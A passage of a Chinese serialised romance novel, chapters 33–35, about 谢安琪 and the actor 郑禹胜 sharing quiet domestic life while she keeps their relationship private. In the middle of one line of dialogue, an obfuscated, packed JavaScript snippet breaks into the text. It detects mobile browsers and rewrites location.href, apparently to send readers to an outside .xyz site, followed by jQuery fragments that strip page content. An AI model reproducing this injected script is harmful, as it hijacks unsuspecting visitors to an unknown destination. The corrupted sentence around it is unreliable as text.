朋友拉着她说:“你今天是不是特别平静?” “因为你太激动了,我得平衡。” “那你今天开心吗?” “开心。” “那就够了。” 谢安琪看着她进站,然后回头,沿着来时的路,又走回了那家餐厅。门口,郑禹胜正倚在墙边,没看手机,也没点烟。他仿佛知道她会回来。她没说话,只走过去,他顺势牵起她的手,像是再自然不过的动作。 没有人看见他们牵手的瞬间,但她知道,那一刻,他还是她记忆里的那束光。深夜十一点过后,城市终于安静下来。两人回到家时,鞋柜灯还亮着。谢安琪脱下鞋子,轻轻将帆布袋挂回门边那根钉钩上。 郑禹胜在她身后换鞋,动作轻得几乎听不见,谢安琪走进厨房,从冰箱里拿了瓶牛奶,又问:“你要热一杯吗?” “好。” 她装作自然地微笑,但手却下意识地紧了紧玻璃瓶。郑禹胜靠在门边,看她动作熟练地拧开瓶盖、倒进瓷杯、放进微波炉。这不是一日情侣之间能有的默契,而是每天都在重复的小动作,像是某种日常生活的定语,嵌在了每一个夜晚之后。 谢安琪转身将热好的牛奶递给他:“小心烫。” 郑禹胜接过,看了她一眼,轻声说:“你刚刚在我回来前,想不想我?” 她愣了一下,没回答,只是转身去收杯子,他没追问,但嘴角悄悄勾了一下。或许谢安琪的沉默比肯定更诚实。 “其实我也不是郑禹胜的粉丝。” 那天吃完饭,谢安琪的朋友回去后,在地铁群里发了这么一句。“ 我已经移情别恋喜欢中国的艺人了,那里帅哥多,我喜欢。” 她看到那句话,莫名有些好笑。因为谁又不是呢?饭桌上尹夏英还说偶像真人好像也有点社恐,说他吃饭时不怎么说话,但眼神里总有点发愣,像是心里另有一场风景。谢安琪没有回应。她知道那个男人刚才把菜单推给她时,低声问:“你今天是不是穿了我们去年在盘铺公园散步那天穿的外套?” 谢安琪笑了一下:“我以为你不记得那件。” “我不记得名字,但我记得颜色。” 谢安琪那一刻想说,她已经不是那个对他遥不可及的局外人了。但最终,她只是低头喝了一口汤。不需要把感情说得太满,生活才有余地盛下更多来日的雨水和风声。睡前她去洗漱时,把脸埋在热水毛巾里,忽然想起这个时间线里自己刚在郑禹胜身边工作的那会儿,是在KCL公司实习面试结束后,她在走廊拐角撞见他。 那时他正从高层会议室出来,手里夹着文件,穿深灰西装,脸色疲倦却仍是光鲜亮丽。谢安琪几乎是下意识地想转身,但还是太晚。他认出她,步子一顿,但没叫她。直到她也微微点头,说:“郑代表。” 他没有回应,只轻轻扬了扬下巴算作打招呼,那天晚上,她给他发了一条信息:“我不是故意去你公司实习的。” 郑禹胜隔了一小时回她:“算了,我不在意这些。” 她看着那句,隔了很久才点开键盘,回了一句:“但真的不是最后,只是意外。” 那场短短对话之后,他就再没提过,但从第二天起,他就每天亲自去接她下班。谢安琪想或许是知道他在用行动告诉她:“你不需要假装不认识我。” 郑禹胜有时话不多,尤其是在她提起过去的事时。比如你还记得我穿过的那件红毛衣吗?他不说话,只会把毛衣晾得特别仔细;比如你上次说要带我去的店,是不是倒闭了? 他不解释,只是悄悄带她去了另一家更适合她的甜品店。郑禹胜不是不回应,而是用另一种方式回应。谢安琪曾经觉得这样不够坦率、不够情绪化。直到有一天,朋友问她:“他是不是很冷?”谢安琪才意识到,郑禹胜不是冷,而是慢。他所有的表达都带着一点时间差。可她已经习惯等了。 洗完澡后,谢安琪坐在沙发上吹头发。她没开灯,只靠厨房那盏吊灯照着。屋里很安静,只有风扇吹出的风拂过她头发的声音。郑禹胜走过来,将另一台小吹风机插上电源,放在她左边,弯下腰帮她拨开被贴住脖颈的发丝。 谢安琪微微偏头:“你不是不擅长这些?” “在你这儿想多擅长一点。” 她抬眼看他。他低着头,动作轻缓,指尖却不时颤了一下。两人坐在暖黄灯光下,客厅窗外的绿灯一闪一闪,像是遥远但稳定的脉搏,静静闪着某种安慰。谢安琪忽然说:“你会不会有时候觉得我很不稳定?” “我比你更不稳定。” 她轻轻笑了声。他们谁也没有再继续那个话题。因为都知道这不是个能有结果的问题。 “她今天还问我一个很尴尬的问题。” “谁?” “朋友,她问我喜不喜欢你。” “那你怎么说?” “我说不算喜欢。” 郑禹胜顿了一下,没说话。 “或许是因为我见到的是你太多版本。”谢安琪补了一句,“喜欢哪个,都不完整。” “你是不是后悔认识我?” “没有。” 她转头,头发甩过他的手背,像羽毛刷了一下。 “我只是在想,别人好像都只看到你一个面。我却看到太多了,每一个都好。” “那也挺辛苦的。” “所以我今天喝了两杯咖啡。” “你今晚还睡得着吗?” “只要你别讲话,我就能睡。” 他帮她吹完头发后,两人坐在阳台上喝水。城市的夜很深了,但远处楼下便利店前的灯还亮着。郑禹胜忽然说:“你有没有觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801495|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我有点不像一个人了。” 谢安琪侧头看他:“你是在说你像谁?” “不是谁,是说……有时候像个标志物,像海边的灯塔。所有人都来找我看光,但没人想靠近我身边。” “那我算什么?” “你像是坐在海岸边喝啤酒的那个人,一边看我,一边自己过得也挺自在。” “我要是啤酒早喝完了怎么办?” 他低笑:“那我送你下去买。” 谢安琪说:“不,我是想说,我可能会起来,跑到灯塔下面看看那边的风景。” 谢安琪从帆布袋里翻出那块圣水市集送的小手工皂。她洗完手后,把它放在洗手台旁边的小陶瓷碟子里,郑禹胜走进来,看她这么认真,挑眉问:“你干嘛,留纪念?” “我想知道这块肥皂能用多久。” “然后呢?” “就像我想知道,我们现在这种状态,能持续多久。” “你是说,像肥皂一样洗完就没了?” “不是,我是说,”她转过头看他,语气认真,“哪怕是会变少的东西,也值得记录下来。” 他点了点头:“那你最好买一块大的。” 整理完帆布袋里的小物品,谢安琪坐在床边擦护手霜。郑禹胜站在阳台给盆栽换水,没穿外套,只穿一件白T,肩膀线条被夜色柔化成不经意的温柔。她忽然意识到,自己已经习惯他在这里的生活痕迹, 习惯了牙刷不再只剩一支,习惯了冰箱里多出他带回来的面包、巧克力和维他命饮料,习惯了每次走进房间都能闻见一点点胡椒薄荷味的沐浴露。甚至习惯了,他回家时不用打招呼,她就知道他已经进门。这种变化不是从今天开始的,但直到此刻,她才真正承认:自己并不是那个一直在观望、徘徊、随时准备抽身的人。她也在不知不觉间,把自己揉进了这段关系里。 临睡前,谢安琪洗完脸从浴室出来,看见郑禹胜已经躺在床上,一只手搭在被子外面。床头灯还亮着,灯光投在他眉骨上,泛着浅金的柔光,谢安琪走过去,轻轻躺下。他像感应到她靠近一样,转头看了她一眼。 “你困吗?”她问。 “现在不困。” “要不要看会儿书?” “你陪我就行。” 她没再说话,只把头靠近他的肩。过了几秒,郑禹说把她往怀里轻轻一带。 “谢安琪。” “嗯?” “谢谢你今天来找我。” 她贴着他胸口,听见他心跳声稳稳地回荡,但很快,谢安琪又起身翻找着什么东西,郑禹胜看到后问起来,“你在干嘛?” “找耳塞。” “我不打呼。” “不是你,我是怕窗外风声。” “你以前不是说喜欢听窗外风吹的声音吗?” “今天不一样。” “哪里不一样?” 她爬上床,钻进被子,语气里有一点懒洋洋:“今天听你说话比听风好。” “……你今天笑了好多次。” “是吗?” “以前你一天都不会笑三次。” “那说明今天好。” “我是不是也贡献了几次?” “你可能是主要贡献者。” 郑禹胜轻轻笑了一声,伸手关掉床头灯。黑暗中传来谢安琪轻轻的一句:“谢谢你今天还陪我。” 他回了句:“以后也陪你。” 临睡前她把手机调成勿扰模式,又看了一眼屏幕。没有新消息。她把手机反扣放下,灯也不再开着,侧身看向身边那人。 “你今天看起来有点温柔。” “我平时不温柔吗?” “你平时像一个不讲理但自控能力极强的人。” “那今天呢?” “今天你像一个终于愿意放松一点的人。” 郑禹胜转过脸,靠得更近了些:“是不是因为你今天也放松了?” “也许吧。” “你是不是不觉得我们这样就算在一起了?” “有点。” “为什么?” 她想了想,轻声说:“因为还没到你真的说我们在一起了的那天。”他没再追问,只是伸出手,像安抚一样地搭在她的腰侧。过了许久,他低低地说了一句:“那就从今天算吧。” 谢安琪没应声。但她没推开他的手。夜已经很深了,窗外的城市终于停止了喧闹。远处高速公路的车辆也像约好了一样暂时沉默,只剩下某一栋楼的广告灯牌偶尔一闪,像深海中浮起的一束光。 谢安琪侧耳听着郑禹胜的呼吸,均匀又轻缓。他们之间没有太多情绪起伏,没有突如其来的亲吻,也没有争执或者缄默。她忽然觉得,如果未来真的就是这样一天天重复下去,也并不难熬。 因为她终于开始相信,有些人,即使他曾站在光里,也愿意坐到你身边,陪你喝一杯微温的水。最后她没说话,翻身靠近了他一点。夜里的安静总是让人心软。他们没有说晚安,但一切都已经说完了。 34.第34章 凌晨零点,城市的灯光像一幅磨砂画,在大平层的玻璃窗后逐渐模糊。谢安琪窝在沙发角落,裹着浅灰色毛毯,手里捧着一杯还冒热气的柠檬水。客厅电视屏幕亮着,播放的是郑禹胜早期参演的一部电影。 谢安琪随便找的,虽然说是随便找的,但实际也都是在他的作品里随便找的,最后看哪个都是看他。不是主角的角色,只在前半小时里有几个镜头。年轻的他在片中看上去甚至有点青涩,发型老套,动作略显僵硬。她却看得出神。 郑禹胜洗完澡出来,走进客厅,发现她正盯着电视里那个自己不太想回顾的版本,挑了下,“你居然找到这部。” “我没找,是电视自动放的。” “这说明你看太多相关片段,系统认定你是感兴趣。” 谢安琪抿了口水,没否认,只说“你那时候的眉毛,好像比现在还浓。” “我那时候连表情都浓。” 她轻笑了一声,指着屏幕:“你看这段,你是不是没记住走位,撞了墙角?” 郑禹胜挠了下眉:“……导演剪掉一半的镜头就是因为这个。” 他们一起盯着那个青涩版本的他,没人再说话。灯光落在电视屏幕前,像一层轻雾。这一刻,他们仿佛在回看一个旧梦,而梦里的人刚好坐在自己身边。郑禹胜靠在沙发另一头,看着谢安琪的侧脸。 她的睫毛因为屏幕反光而投出细影,眼神安静,神情淡淡,像是真的只是在欣赏一部旧电影。但他知道她在想什么。因为他也在想。那部电影拍摄的时候,他才二十四岁,还不懂什么叫表现得不刻意,一场三分钟的沉默戏,拍了十六遍。 导演不满意,他就一遍遍试;剧组熬夜,他就跟着熬。那时的他觉得,只要熬够时间,观众总有一天会看见他。可他没想到,在时间之外的某个维度,有一个女孩,正在穿越岁月,反复走向他。 而现在,这个女孩正坐在他家里,和他一起看着那个不成熟的自己。郑禹胜不敢问她有没有认出他当时的焦虑,也不敢问她那时候就知道他会成为现在的郑禹胜。因为他怕,她喜欢的,是那个还没有长成的他。谢安琪忽然开口了:“你演这场哭戏,是自己想哭,还是被导演逼哭的?” 他没想到她会问这个,愣了一下,才答:“都有吧。” “怎么都有?” “那天我拍了十二个小时,最后一场戏是这个,我已经困到不行了。导演没喊停,我以为还要接着演,就开始想自己小时候一个人吃晚饭的事,眼泪就下来了。” “你小时候一个人吃饭?” “那时候生活就是这样,晚饭都自己热的。” 谢安琪沉默了。电视画面里的那个他,在雨夜里抱着一个道具木盒,在废弃车站哭得撕心裂肺。她想起自己第一次看这场戏的时候,是在一间大学寝室里。身边是室友的呼噜声,她一个人窝在上铺,看完这场戏时竟然也落了泪。 她以为那是因为电影剧情太煽情。可现在她明白了,那不是剧情,而是他演戏时偷偷藏进角色里的自己的心事。电影还没结束,但谢安琪有些困了,抱着毛毯躺下来。郑禹胜没关电视,只调小了音量。他拿了条薄被盖在她身上,自己也坐在茶几前,翻起第二天的工作日程。她迷迷糊糊问了一句:“你明天几点出门?” “七点。” “几点回来?” “不确定,大概晚上七点以后。” “会晚饭回来吃吗?” “如果你做了,我就回来。” “如果我没做呢?” “那我就打包回来。” 她没说话,只轻轻地笑了一声。不是因为这些话有多特别,而是因为它们太普通。普通得像任何一对正在磨合的恋人,会因为晚饭的事情简单对话,会因为对方日常的调侃感到温暖。 她忽然觉得,如果他们之间真的有一场终点,那可能就是这份日常。而不是激情,不是命运,也不是穿越时空的奇迹。 郑禹胜合上平板,靠在沙发扶手上。谢安琪转身看他,微微眯着眼:“你是不是想问什么?” “没有。” “真的没有?” 他顿了顿,说:“只是有时候你看我的样子,好像在确认什么。” “我确认你还在这里。” “我怕你在想,是不是该离开了。” 她没立即回答。许久之后,谢安琪说:“有些人,在梦里太久了,会不自觉地想确认,他到底是不是现实里的人。” 郑禹胜轻声道:“我也是。” 两人对视一眼,又迅速错开,像是两颗被时间打磨得太过小心的星球,绕着彼此旋转,却始终不敢太近。谢安琪在沙发上侧过身来,头枕在郑禹胜腿边,像一只安静的猫。他没动,只伸手帮她把滑落的毛毯盖好。电视还在播放片尾曲,灯光投在他们身上,柔和又安静。 “你是不是不太喜欢提过去?”她问,郑禹胜没有立刻回答。她也没追问。谢安琪不是没察觉他偶尔闪烁的眼神、不自觉的回避,不是没发现他对那些可能揭开时间缝隙的问题始终守口如瓶。但她知道,他需要时间。她更知道,在他准备好开口之前,靠近就已经足够了。 有时候一句我懂,胜过一百句你为什么不告诉我。当屏幕进入黑场,片尾曲结束,电视突然切回主菜单界面,发出一声咔的声响。郑禹胜拿起遥控器调成静音,转过头看她。她也刚好抬头。两人四目相对的瞬间,屋内的光线仿佛顿住了几秒。 “你今天是不是做梦了?”他突然问。 谢安琪睫毛颤了下,心里轻轻一跳。 “怎么这么问?” “你有一瞬间,看我像不认识。” “……没有。” 她低头,抿住嘴唇。不是不想说,只是她还不确定,该不该告诉他:她确实梦见了过去的他,而那个他,比现在的他,更犹豫、更脆弱,却也一样真诚。而她,不确定这一切,是不是只是她在现实中投下的影子。 夜深的城市仿佛也疲倦下来。风穿过高楼,轻轻拂动客厅一角的窗帘,那块布随风微微飘起,又落下。郑禹胜起身把窗关好,回头发现谢安琪已睡着。 她侧身蜷成一个小小的弧度,脸颊靠着臂弯,睫毛低垂,像是安心沉入梦境。他站在原地看了一会,才蹲下来轻轻为她掖好毯子。郑禹胜的指尖落在她鬓发边缘,停了停,却没有碰。 “对不起,我还不敢问你,你梦见的是不是我。”他说得很轻,像是在跟自己说,也像是在向空气倾诉,“我怕你记得的,是那个我已经不是的版本。” 郑禹胜准备离开沙发时,谢安琪突然皱了下眉。他以为她醒了,蹲着没动。她却只是翻了个身,嘴里轻轻地说:“别走。”声音很轻,却足以叫人心软。 郑禹胜坐回原位,靠在沙发一角,把毛毯再拉了一点盖住她脚。他的眼神一点点落下来,看着她熟睡中的样子。如果过去的那些梦都是她的路途,那么现在,他愿意成为她每次醒来后看到的那道光。不是因为他从前是光,而是因为他想继续为她发光。 郑禹胜没有回房,而是坐在沙发上陪她。他的头轻靠在沙发背上,闭着眼,没有睡着,却也没有离开。像是一种等待。不是等她醒来,不是等她主动说梦境,也不是等一个答案。 只是想静静地在她身边,等一个可以一起醒来的清晨。这种等待对他来说并不陌生。二十多年来,他一直在等一个知道他全部样子的谢安琪。现在她就在眼前,他终于不需要再主动说出所有故事,只要在她身边,就够了。 谢安琪醒来的时候,天还没亮透。沙发边的窗帘没拉紧,透进一线蓝灰色的晨光。她微微动了一下,才发现自己躺着的姿势被人小心调整过,脖子下垫着靠枕,身上盖着两层毛毯。 沙发另一端,郑禹胜还在。他正抱着膝盖坐在另一头,头发有些乱,身上裹着一件薄毯,手里握着半杯凉水,他在等她醒。谢安琪喉咙有些干,坐起身,看着他,“你一直没睡?” “也睡了一会。” “你什么时候醒的?” “我觉得你比我早醒。” 她笑了:“是因为我动了一下?” “是因为你叹了口气。” 谢安琪站起身,走进厨房倒水。郑禹胜也跟了过来,靠着厨房门框,“你今天几点的车?” “十一点飞济州岛。” “那我送你。” “不用了,你休息一下。” “我想送你。” 谢安琪没有说话,倒好水递给他,两人靠在厨房里,脚边是前一晚还没收走的帆布袋,桌上是昨晚喝剩的牛奶,橱柜顶还放着他拍戏时从片场带回的便当盒。这些生活细节,让谢安琪终于不用再假装自己是他生活里的访客。 郑禹胜接过杯子时,她突然说了一句:“我不是你的观众。” 他微微一愣:“我知道。” “我是说,我看你演戏的时候,不是那种期待你闪光的心情。” “那你是什么心情?” “就像看一个我认识的人,在做他一直想做的事。” “听起来像是祝福。” “也像是……参与。” 她看着他,语气忽然柔软下来:“你演得再好,也别忘了回来吃饭。” 郑禹胜没有笑,只静静地看着她。 “我不会忘。”他说。 他们一起把杯子洗好,厨房的灯终于关上。天光亮了一些,城市的声音开始苏醒。谢安琪靠在门口,看着他整理外出用的文件袋。 “你要带剧本去?” “有一场替身戏导演临时说不拍了,要我自己顶上。” “你不是说那段动作你不太熟?” “我让动作指导提早来。” 谢安琪点点头,没再多说,郑禹胜拉上拉链,回头看她:“你呢,想不想让我记住你?” 谢安琪看着他,没回答,嘴角却缓缓翘起,那是一种极轻的回应,但郑禹胜懂了,她当然想。只是她害怕他的记忆比她的梦还短。他们下楼,走进停车场,一路沉默。谢安琪把帆布袋放在后座时,郑禹胜站 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谢安琪没有回应。但她的呼吸渐渐平稳。那天醒来的时候,谢安琪发现床的一侧已经空了,被窝还带着微微温度。她下床走进厨房,发现锅里保温着一碗白粥,旁边放着热好的小菜,餐桌上压着一张纸条。 【今天七点出发,拍广告,晚上七点回。不用做饭,我打包回来。郑】 纸条写得很平常,连落款都像便签一样简洁,但她却看了许久,那种平静而有条理的生活方式,不是郑禹胜以前的样子。他过去的作息不规律,习惯临时决定饮食,也不常写纸条,甚至连告别都很少说清楚。 谢安琪看着那句我打包回来,心里忽然泛起一点湿意,他开始调整生活,是从什么时候开始的?也许就是从她走进他的屋子开始,这一日之后,郑禹胜开始有了准时回家的习惯。 拍戏结束,不再留下来和导演讨论太久的构图,也不再应付每一个酒局邀请。他甚至拒绝了两个通告拍摄后的饭局,只说家里有人等,剧组里开始有人议论。 “郑代表最近不太一样啊,以前拍完戏都能玩到深夜。” “他是不是谈恋爱了?” “谈恋爱也太稳定了吧……每天这么规律?” “你别说,我那天还在地下停车场看到他下班直接开车走,像是赶着回去。” 但没人知道,郑禹胜也只是习惯了有人在屋里等他,而所有的改变,都不是他自己说的。是别人从行为里看出来的。某次通告收工之后,化妆间里一位副导演一边拆灯一边说:“你们发现郑代表变了吗?这几天说话都带笑。” “是啊,以前拍夜戏他一脸别烦我的气息,现在主动给新人让位置。” “有问题,这不像他。” 有人半开玩笑地问旁边的助理:“你们老板是不是恋爱了?” 那助理笑了笑,没有正面回应,只低声说了一句:“可能吧,我觉得他好像等到他等的人了。” 这话听起来很奇怪,没有人追问这句话是什么意思,但听懂的人都沉默了。因为他们都见过那个叫郑禹胜的人,曾经是多么不肯停留、多么不肯低头,而现在,他愿意为了一个人,准时回家。 济州岛的夜色落得很快,天黑之后,窗外高楼上的灯牌纷纷亮起,谢安琪吃过饭,刷了碗,又把酒店的落地灯打开,坐在沙发一角看书。身上套着宽松的家居服,头发挽在一边,额角被灯光染得柔软。 电视静音开着,她没怎么注意画面,只偶尔抬头看看,房间的静,总让人容易听见心跳。 她没有发消息给郑禹胜,也没有问他拍摄顺不顺利只是等着,这种等待没有确切的钟点,只是一种默契,他会回来。 晚上八点四十,卡滴答刷开了大门,然后是门锁转动声响起,她没抬头,只是嘴角翘了一下,像习惯了归属的声音。他进门后脱了外套,走过来把一个打包袋递给她,声音低沉:“鱿鱼汤和辣牛肉汤,我猜你会选前者。” 她笑了:“我选你。” 郑禹胜愣了两秒,才轻轻咳了下:“那我算配菜吗?” “你是汤。” 洗完澡后,郑禹胜坐在沙发上,抱着一条毯子,看她拆开便当盒,把菜一一摆好。她没化妆,头发还湿着,披在肩上,有种刚醒来的慵懒气息。他看着她,突然说:“以后拍夜戏回来,如果我没带吃的,你会生气吗?” “不会。” “那你会饿着吗?” “不会,我会点外卖。” 他低笑:“还真实际。” 谢安琪看着他:“但我会想你。” 郑禹胜收敛了笑容,他没说话,只是伸手摸了摸她还半干的发尾,这个动作很轻,却像是无声的回应。因为他也想她,只是还没学会怎么表达。但所有人都看得出来,他每天拍完戏立刻离开剧组,哪怕只为回来坐着看她拆便当,也是心甘情愿,那些没说出口的心跳,早就落在每个回家路上的车窗里。 35.第35章 那天上午的文化经济市场分析课上,谢安琪坐在靠窗第三排,位置不算特别,却正好能看清讲台,但她不太专注听讲。原因很简单,前排靠中间那个座位空着,而那原本是郑禹胜的名字,同班的同学对这位“挂名学生”早已议论多次。 “你说他是不是根本不会来?” “课程表挂名也太明显了吧,偶像读大学都是这么敷衍的吗?” “我不是粉丝,但希望他别再选这种冷门课,课题组被他抽走一个名额。” 谢安琪没参与,她从来不争辩这些。如果有人问起,她就装作没听懂韩语,笑一笑,继续看PPT,她在这堂课上,唯一的执念,就是不去看那个空位太久,因为她怕眼神里藏不住东西,下课后,几个女生一起走出教学楼。 “他真的太不认真了,完全不尊重我们这种真来上课的人。” “听说他去年也是这样选课的,来一两次,老师也睁一只眼闭一只眼。” “你见过他真人没?” “拍摄路透看过,他本人好像还挺高的。” “你喜欢他?” “以前喜欢过一阵,现在也就那样了吧。” 谢安琪走在她们后面,没有插话,她听见这些声音像轻盈的雨滴落进脑袋,却没真正沾湿她的情绪,她知道,郑禹胜不是那个会在课堂上和人合照、迎合流量的类型,他来选这门课,可能只是为了让自己像个普通人,只是,这种像,在现实面前总是太过脆弱。 “你今天听懂老师讲的模型图了吗?”一个朋友小跑几步追上她,谢安琪侧头看她,微笑摇头。 “那我们下午要不要组队做一下课题?” “你来定主题吧。” 朋友看她神情平静,以为她心情好,打趣道:“你是不是因为昨天晚饭吃得好所以今天状态特别轻松?” 谢安琪愣了一下,轻轻一笑:“可能吧。” 这种对话像贴着她皮肤的雨水,轻快、浮浅、不会渗透,但她还是会应和,因为她知道这也是现实的一部分,而在这些现实里,郑禹胜并不属于任何话题中心,她也不属于那些流言里谁喜欢谁的简化剧本。 日子一天天过去,郑禹胜在课堂上仍旧挂名,但他的名字,已经被大多数同学当作不存在的编号跳过。 谢安琪却在某种程度上开始习惯这种他不在但在场的状态,像是他留在她房间里的发圈、牙刷、写了日程提醒的便签纸,她每天回家时仍会在门口脱鞋、顺手摆好两双拖鞋的位置。 有时还会不经意打开冰箱,看他有没有补充新口味的牛奶,他们之间的联系,并不靠频繁见面维系,而是靠每一个细节中,那种仿佛他一直在场的熟悉感。她甚至觉得,这种状态,比说一句我想你更稳定。 没人知道,郑禹胜曾经偷偷来学校看过谢安琪,那天他在拍摄空档请了一个小时假,戴着鸭舌帽和口罩,站在教学楼对面的咖啡车旁,他看见谢安琪从楼里出来,和朋友一起说笑,神情温柔。 郑禹胜没有走近,只是默默看了两分钟,她像是感知到了什么,朝他这边看了一眼,但她没认出来,他也没动,那天风很大,他回去拍戏时鼻尖是凉的,眼睛却发热,助理问他是不是感冒了,他笑着说:“不,我刚好路过春天。” 某天下午,谢安琪一个人在图书馆整理论文材料,隔壁桌的两个学妹在聊天:“你看这个账号发的拍摄花絮,郑禹胜在现场对工作人员特别有礼貌,好感又提升了。” “我有个朋友的朋友是灯光助理,说他从不摆架子,还会主动帮忙搬设备。” “可是他真的不来上课欸……” “就当他是学校挂名广告吧,至少能吸点人气。” 谢安琪听着,手里的笔停顿了一下,她知道那是事实,郑禹胜已经变成许多人谈资中的他人故事,一个高不可攀的、神秘的、介于真实和幻想之间的人,她却是唯一一个每天能和他说晚饭要吃什么的人,这种落差感,有时比穿越时空还真实。 其实谢安琪曾经也是会偷偷点开评论区的人,看到别人说他不敬业,玩票性质,表面温柔其实冷淡,她会心跳加快,甚至下意识想去解释。 可最近她不再点开了,不是因为不在意,而是终于意识到,真实的相处远比解释别人不认识的他更重要,他喜欢喝温水,怕辣但又嘴馋,他工作时神情专注,洗澡前喜欢点香薰,他会记得她说这家泡菜汤不错,也会在深夜拍戏结束后悄悄带回来。 这些,外人永远不会知道,她也不需要别人知道,因为他是她的,不是他们的。 某天晚上,郑禹胜回到家时已经快十一点,谢安琪还醒着,坐在沙发上做报告,他换完衣服走过来,手里拿着冰镇好的苹果切片放在她面前,她接过,吃了一片,咬得很慢。 “你今天拍摄顺利吗?” “顺利。” “回来有点晚。” “嗯,路上堵车。” 他沉默了一会儿,又补了一句:“其实我今天在你学校楼下看你了。” 谢安琪抬头看他,他笑得有点心虚:“你好像没认出来。” 她没说自己其实认出来了,只是没想戳穿,那种沉默的靠近,有时比直白更温柔。 “你来不是为了看我吧?” 谢安琪有点促狭地看他,“难道是为了路边那家炸鸡?” “你要这么说,我就默认了。” 她笑了一下,低头继续写作业,郑禹胜坐在她对面,打开剧本,翻了一页又一页,其实没认真读,他们就在客厅的两侧,各自忙碌,又彼此陪伴,没有过多言语,也没有需要解释的场面,这是他们现在的方式,低调、隐秘、但牢固。 郑禹胜是个几乎不更新社交媒体的人,他的INS上只有工作片场、风景照,还有一两张模糊的自拍,从不晒合影,不转发热搜,不回应任何感情传闻,他的粉丝说:“哥哥超神秘,他肯定是专心事业的代表!” “他一定是单身,怎么可能谈恋爱。” 谢安琪偶尔会看到这些评论,然后继续擦干头发,打开厨房灯,给他煮粥,她从不出现在他的社交平台,但却每天都出现在他的人生里,而这些没说出口的心跳,像夜里被窗帘拢住的月光,不用照亮世界,也足以温柔一整个房间。 一起上课的朋友最近似乎察觉了什么,下课后在便利店排队时,那人问:“你最近,是不是在交往?”谢安琪正在挑饮料,动作微微顿住:“为什么这么问?” “你看起来气色很好,状态也挺安稳的。” “安稳就等于有人谈恋爱?” “也不是……就是那种生活里有另一种节奏的感觉。” 谢安琪笑了笑,没有回答,朋友倒是没再追问,只是轻声说:“如果是,就替你开心。” 她的心微微一跳,这个如果是,在她耳朵里听起来很温柔,像是小心翼翼给她一条逃生通道。 谢安琪不是没怀疑过,这样不张扬、甚至不明确的关系到底算不算在一起,但她也不是没意识到,他们之间的所有靠近,从不是为了证明给外人看。 有时候她在半夜醒来,摸到他还在身边,或者看到洗手台上他刚换下的毛巾,会忽然有种确认的冲动。 可每次都咽下了,不是因为不在乎,而是因为明白,有些情感不是问出来的,是活出来的。而他们,正在用每一天的生活,活出彼此的位置。 有一晚,谢安琪忍不住问了一句:“我们现在算是什么?” 那时他们刚一起把客厅打扫完,沙发上铺了干净的新毯子,桌上是刚做好的咖啡。 郑禹胜擦手,看着她:“你是说身份还是关系?” “都说说?”他思索片刻,认真答,“身份上,我是你合法登记的丈夫。” “关系上?” “我每天回家都想见你,睡前也会看你一眼。” 谢安琪低头剥玉米,脸有点红,她知道,这已经是他能说的最浪漫的回答了。 ………… 夜越来越凉,入秋之后,晚上的风总带着一丝干燥,谢安琪开始注意帮他放上换季的围巾,把客厅的小毯子翻出来,熨好铺在沙发上,她也开始为他留灯。每当他拍夜戏回来,她就会把餐桌上方那盏小吊灯开着,不太亮,但足够让人安心。 有一次他进门时轻声说:“你总是能记得这些。” 她耸肩,“灯是给谁开着不重要,重要的是有人愿意回来。”他看着她的背影,忽然觉得这个家的定义,可能就是:你在的地方有灯,我就想回来。 一次拍摄现场,有位老演员调侃他,“你最近拍完就走,连组里的庆功都不来。” “以前你不是最能熬夜、最爱和导演聊构图的吗?”他只是笑笑。 “你到底还想不想演戏了?” “想,”他顿了顿,“但现在想早点回家。” 那句话没有说出口的是,他终于有个可以叫家的地方了。以前他习惯游荡在酒店、剧组和飞机之间,从没在某个房间里真正留下东西,现在不一样了,冰箱里有他挑的牛奶,衣柜里有她放的干净衬衫。 他不是不再热爱电影,而是更明白了,生活,也值得被演好,城市的夜色被灯光和车辆划开,一条条道路在导航中变成发光的线,郑禹胜从片场出来,习惯性地打开导航,虽然路线早已烂熟于心。 他喜欢这种仪式感,拍完最后一条、换掉戏服、道别同事,然后一个人走向停车场,那段路总是很静,像是世界在等他归位,他不喜欢别人送,也不爱拼车,他喜欢一个人开回家,在电梯镜子里看自己蓬乱的发尾和脸上的疲倦,然后再打开那扇熟悉的门,看见厨 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“每天早上四点起床揉面团,下午卖完就关门,晚饭回家吃。” 她愣住,眼角弯了,“你是不是提前写好了剧本?” “没有。只是有时候想想,有你在的话,好像什么都可以。” 她继续开玩笑:“那你第一块面包会请谁吃?” “你啊。” “我不吃甜的。” “那我做咸的。” “我也不太吃咸的。” “那我把它放进你便当盒,你就不能拒绝了。” 谢安琪笑得几乎要背过去,他也忍不住低头咬住嘴唇笑。厨房的小灯照在他们脸上,光影交错,像是时间在给这一刻留底片。他们其实都知道,未来的不可控有很多。可只要这一刻是真的,足以撑起很多日子。 …… 深夜,谢安琪洗完澡出来,头发还湿着,郑禹胜坐在阳台,穿着家居服,手里握着一杯水,目光落在不远处的天际线,她走过去,从后面抱住他。 “今天拍得顺利吗?”他点点头,没说话,她贴在他背上,听着他的呼吸一点点平稳下来。 过了一会儿,她开口:“我今天梦到你了。” “哪个版本?” “年轻的你。” 他没回应,只轻轻转头,在她发间停留了一秒,他们都知道,这些梦境可能属于别的时间线,也可能只是心里的想象,但谢安琪愿意靠近,他愿意等,那些没说出口的心跳,就在这样的夜里,一下又一下地落下来。 夜里十一点半,郑禹胜拍完定妆照回来,谢安琪正坐在沙发上翻旧杂志。 “冰箱里没牛奶了。”她随口说了一句。 郑禹胜换了鞋,看她一眼:“想喝?” “也不是必须……只是想起来了。” 他把钥匙从挂钩上取下:“那我们去走一圈?” “现在?” “现在夜风刚好。” 她愣了下,随即起身拿外套,没再多说什么,他们一起下楼,走进小区边的街巷,街灯昏黄,偶尔有猫窜过人行道,没人戴帽子、口罩,也没人认出他,这一刻,他们就是最普通的一对男女。 “你平常晚上会出来走路吗?”谢安琪问。 郑禹胜摇头:“以前不太会,除非拍戏走戏。” “现在呢?” “现在……如果有人一起走就不一样。” 